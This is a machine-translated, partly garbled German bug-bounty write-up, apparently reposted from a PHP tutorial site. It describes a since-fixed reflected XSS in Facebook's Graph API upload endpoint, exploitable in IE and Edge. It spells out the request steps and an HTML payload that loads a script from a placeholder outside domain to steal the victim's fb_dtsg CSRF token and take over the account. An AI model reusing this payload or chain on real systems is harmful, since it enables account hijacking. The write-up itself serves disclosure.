Sicherheitslücke
Diese Sicherheitslücke besteht nur in IE- und Edge-Browsern. Die Ursache der Sicherheitslücke liegt in einigen API-Endpunkten in graph.facebook.com
, vollständige und sichere Escape-Maßnahmen werden bei der Verarbeitung von HTML-Code-Antworten nicht implementiert. Die Antwortnachricht liegt im JSON-Format vor, der HTML-Code ist als Wert eines der Felder enthalten und die Antwortnachricht enthält keinen Content-Type- oder X-Content-Type-Options-Header, sodass ich die Möglichkeit dazu habe Verwenden Sie IE/Edge. Der Konstruktionscode wird ausgeführt.
(Diese beiden Browsertypen scannen die gesamte Seite, um den MIME-Dateityp zu ermitteln, während andere Browser nur die ersten paar Zeichen prüfen.)
Wiederkehr der Sicherheitslücke
1. Zuerst senden wir eine POST-Anfrage in der folgenden Upload-Methode:
POST /app/uploadsHost: graph.facebook.com access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD
wobei ACCESS_TOKEN
von Facebook generiert wird für Ein gültiges Benutzerzugriffstoken, das von der Erstanbieteranwendung von Android generiert wird, und PAYLOAD ist der HTML-Code, den wir einfügen möchten, um das Opfer anschließend zur Ausführung im Browser zu verleiten. Wenn die Anfrage gesendet wird, gibt der Remote-Server einen Wert ähnlich dem folgenden zurück, der eine Sitzungs-ID enthält, die später verwendet wird (Einzelheiten finden Sie in den offiziellen Anweisungen von Facebook):
{"id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"}
Nach dem Testen ist es Es wurde festgestellt, dass in der Antwortnachricht keine CSP-Einschränkungen (Content Security Policy) vorliegen. Daher habe ich darüber nachgedacht, ob ich eine JS-Datei mit externen Links zum Einfügen von HTML-Code verwenden könnte, zum Beispiel:
<html><body><script src=//DOMAIN.com/script.js ></script></body></html>
2. Das Die Upload-Anfrage erfolgt hier durch die Base64-Kodierungsverarbeitung des Facebook-Backends. Die zurückgegebene Anzeige lautet wie folgt und enthält die von uns speziell implantierten Nutzdaten:
upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48 Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s
Daher wird nach Verwendung dieser Kodierungszeichenfolge die folgende Anfrage angezeigt: mit dem eine POST-Anfrage an Facebook initiiert werden kann:
https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD 0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?s ig=ARaCDqLfwoeI8V3s
3 Daraus habe ich mithilfe der obigen Anforderungszeichenfolge das gültige access_token hinzugefügt, das ich in Schritt 1 generiert habe, eine HTML-Webseite erstellt und eingefügt meine Website:
Diese Seite enthält einen Einreichungsstil und die Antwortnachricht nach den Besuchen des Opfers lautet wie folgt:
{“h”:”2::<html><body><script src=//DOMAIN.com/script.js ></script></body></html>:GVo0nVVSEBm2kCDZXKFCdFSlCSZjbugb AAAP:e:1571103112:REDACATED:REDACATED:ARCvdJWLVDpBjUAZzrg”}
Wichtig, die Skriptdatei in https://DOMAIN.com/script.js
hilft mir, das CSRF-Token „fb_dtsg“ des Opfers zu stehlen, und kann eine verbindliche Anfrage an https://www.facebook.com/api/graphql/
senden, um eine Mobiltelefonnummer oder E-Mail-Adresse hinzuzufügen, um eine indirekte Entführung des Opferkontos zu erreichen.
Schwachstellenbehebung
1、在file_type参数中加入对HTML代码处理的安全转义措施; 2、给每个响应中加入“Content-type: application/json” 头避免进一步的攻击。 漏洞上报及处理进程 2019.10.10 漏洞初报 2019.10.10 Facebook确认 2019.10.11 Facebook修复 2019.10.24 Facebook奖励5000$
Empfohlene verwandte Artikel und Tutorials: Website-Sicherheits-Tutorial
Das obige ist der detaillierte Inhalt vonNutzung der Reflected-XSS-Sicherheitslücke zum Kapern von Facebook-Konten. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!